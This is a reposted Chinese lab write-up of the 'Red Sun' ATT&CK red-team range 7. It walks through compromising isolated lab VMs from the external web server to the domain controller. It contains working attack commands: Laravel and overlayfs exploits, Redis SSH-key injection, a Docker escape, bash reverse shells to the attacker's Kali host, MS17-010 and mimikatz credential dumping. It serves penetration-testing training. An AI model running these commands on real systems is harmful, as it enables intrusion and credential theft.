0


【红日靶场系列】ATT&CK红队评估7

环境说明

DMZ区IP段为192.168.1.1/24

第二层网络环境IP段为192.168.52.1/24

第三层网络环境IP段为192.168.93.1/24

环境配置

在Vmware中新增两个虚拟网卡VMnet8、VMnet14。VMnet8设为默认的NAT模式,IP段设为192.168.52.0/24;VMnet14设为仅主机模式,IP段设为192.168.93.0/24:

将VMnet8作为第二层网络的网卡,VMnet14作为第三层网络的网卡。这样,第二层网络中的所有主机皆可以上网,但是位于第三层网络中的所有主机都不与外网相连通,不能上网。

DMZ区域:

给Ubuntu (Web 1) 配置了两个网卡,一个桥接可以对外提供服务;一个连接在VMnet8上连通第二层网络。

第二层网络区域:

给Ubuntu (Web 2) 和Windows 7 (PC 1)都配置了两个网卡,一个连接在VMnet8上连通第二层网络,一个连接在VMnet14上连通第三层网络。

第三次网络区域:

给Windows Server 2012和Windows 7 (PC 2)都只配置了一个网卡,一个连接在VMnet14上连通第三层网络。

服务配置

靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应的主机上启动靶机服务:

DMZ区的 Ubuntu 需要启动redis和nginx服务:

redis-server /etc/redis.conf

/usr/sbin/nginx -c /etc/nginx/nginx.conf

iptables -F

第二层网络的 Ubuntu需要启动docker容器:

sudo service docker start

sudo docker start 8e172820ac78

第三层网络的 Windows 7 (PC 1)需要启动通达OA:

C:\MYOA\bin\AutoConfig.exe

域用户信息

域用户账户和密码如下:

Administrator:Whoami2021

whoami:Whoami2021

bunny:Bunny2021

moretz:Moretz2021

Ubuntu 1:

web:web2021

Ubuntu 2:

ubuntu:ubuntu

通达OA账户:

admin:admin657260

靶场涉及知识点

信息收集:

端口扫描

端口服务识别

漏洞利用:

漏洞搜索与利用

Laravel Debug mode RCE(CVE-2021-3129)漏洞利用

Docker逃逸

通达OA v11.3 漏洞利用

Linux环境变量提权

Redis 未授权访问漏洞

Linux sudo权限提升(CVE-2021-3156)漏洞利用

SSH密钥利用

Windows NetLogon 域内权限提升(CVE-2020-1472)漏洞利用

MS14-068漏洞利用

构建隧道:

路由转发与代理

二层网络代理

三层网络代理

横向移动:

内网(域内)信息收集

MS17-010

Windows系统NTLM与用户凭据获取

SMB Relay攻击

Psexec远控利用

哈希传递攻击(PTH)

WMI利用

DCOM利用

权限维持:

黄金票据

白银票据

Sid History
在这里插入图片描述
本机:
192.168.236.61

kali:
192.168.236.254

web1:
外网网卡:192.168.236.62
内网网卡:192.168.52.10
在这里插入图片描述
web2:
外网网卡:192.168.52.20
内网网卡:192.168.93.10
在这里插入图片描述
PC1:
单网卡:192.168.52.30
在这里插入图片描述
PC2:
单网卡:192.168.93.40
在这里插入图片描述
windows server 2012(DC):
单网卡:192.168.93.30
在这里插入图片描述

外网打点

nmap进行端口扫描

nmap -p 1-65535 -T4 -A -v 192.168.236.62

在这里插入图片描述
81端口是Laravel框架且版本是Laravel v8.29.0 (PHP v7.4.14)
6379端口为redis

Laravel Debug mode RCE(CVE-2021-3129)

在这里插入图片描述
exp工具链接:
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

python3 laravel-CVE-2021-3129-EXP.py http://192.168.236.62:81(注意用http://192.168.236.62:81/会失败)

在这里插入图片描述
连接用哥斯拉3.0以下的版本才能连接成功
在这里插入图片描述
在这里插入图片描述
反弹shell到kali上

bash -c "bash -i >& /dev/tcp/192.168.236.254/10000 0>&1"

在这里插入图片描述
在这里插入图片描述

Redis未授权Getshell

直接连接redis,存在未授权

redis-cli -h 192.168.236.62

在这里插入图片描述
尝试写入公钥

ssh-keygen -t rsa
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 192.168.236.62 -p 6379 -x set xxx
config set dir /root/.ssh
config set dbfilename authorized_keys
save
exit

在这里插入图片描述

ssh 192.168.2.54(发现双网卡,内网网段192.168.52.0/24)

在这里插入图片描述
上传iox,fscan(本机python开启http服务,目标机进行下载)
在这里插入图片描述
iox正向代理

iox proxy -l 2222

在这里插入图片描述
在这里插入图片描述
fscan扫描

fscan -h 192.168.52.0/24 -np -nopoc

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里的Laravel和上一层的一样打法,实际上是做了反向代理

环境变量提权

搜索带有suid的文件,发现home/jobs目录下有个shell文件,并且具有SUID权限

find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null

在这里插入图片描述
cd到/home/jobs目录下,运行一下这个文件,可以看到shell文件执行了ps命令,并且未使用绝对路径,所以我们可以尝试更改$PATH来执行我们的恶意程序,从而获得目标主机的高权限shell

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH         #将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell

在这里插入图片描述
反弹shell到kali上

bash -c "bash -i >& /dev/tcp/192.168.236.254/3333 0>&1"

在这里插入图片描述
在这里插入图片描述
发现执行不了ifconfig等命令,因为处于docker环境中,需要docker逃逸

特权模式逃逸

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载

fdisk -l         #查看磁盘文件
ls /dev         #查看设备文件

在这里插入图片描述

有三个磁盘文件和N个设备文件,我们将/dev/sda1挂载到自己创建的文件夹

mkdir test
mount /dev/sda1 /test
ls /test

在这里插入图片描述
到这里有两个思路:
1、写入计划任务(不可行)
2、写入公钥(可行)
写入公钥:
翻一下看看可不可以访问root目录或查看home有没有用户
在这里插入图片描述
有Ubuntu这个用户,就可以把我们自己生成的SSH密钥写入到/test/home/ubuntu/.ssh目录中的authorized_keys文件中,写入成功之后就可以使用该密钥进行登陆该机器

ssh-keygen -f test
chmod 600 test

在这里插入图片描述

cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys
echo > /test/home/ubuntu/.ssh/authorized_keys
echo '生成的.pub文件的内容' > /test/home/ubuntu/.ssh/authorized_keys
cat /test/home/ubuntu/.ssh/authorized_keys

在这里插入图片描述
在这里插入图片描述
然后ssh连接

ssh -i test [email protected](发现双网卡,内网网段192.168.93.0/24)

在这里插入图片描述
在这里插入图片描述

CVE-2021-3493

linux kernel一般指Linux内核。Linux是一种开源电脑操作系统内核。它是一个用C语言写成,符合POSIX标准的类Unix操作系统。
linux内核中的overlayfs文件系统中没有正确地验证用户名称空间和底层文件系统中文件功能的设置。由于非特权用户名称空间和Ubuntu内核中允许非特权覆盖的补丁的组合,攻击者可以使用它来获得更高的特权。

漏洞影响版本

Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM

exp地址:
https://github.com/briskets/CVE-2021-3493

git clone https://github.com/briskets/CVE-2021-3493
cd CVE-2021-3493
gcc exploit.c -o exploit         #编译
chmod +x exploit
./exploit

在这里插入图片描述
上传iox、fscan,iox正向代理,fscan扫描
在这里插入图片描述
在这里插入图片描述
可以看到192.168.93.40这台PC2存在MS17-010

MS17-010

192.168.93.40这台用方程式工具MS17-010成功创建用户
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
直接远程桌面连接,然后查看到存在域,然后上传mimikatz抓密码,可以抓到这台主机和域控的账号密码

privilege::debug
sekurlsa::logonpasswords

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
到这里已经得到PC2和DC的账号密码,且存在域whoamianony.org

net use网络映射连接域控

net use \\DC.WHOAMIANONY.ORG\ipc$ "Whoami2021" /user:"administrator"

然后本机可以直接远程连接域控
在这里插入图片描述

域内提权 (CVE-2021-42278 & CVE-2021-42287) 漏洞利用

参考文章:
https://blog.csdn.net/Captain_RB/article/details/125569452

python3 noPac.py -use-ldap whoamianony.org/bunny:Bunny2021 -dc-ip 192.168.93.30 -shell

在这里插入图片描述
在这里插入图片描述

Zerologon域攻击(CVE-2020-1472)

攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限,成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序

参考其他大佬文章,我这里没有复现
https://xz.aliyun.com/t/9574#toc-9
https://bbs.zkaq.cn/t/5415.html

标签: 网络安全

本文转载自: https://blog.csdn.net/weixin_45632448/article/details/127343319
版权归原作者 青果@ 所有, 如有侵权,请联系我们删除。

“【红日靶场系列】ATT&CK红队评估7”的评论:

还没有评论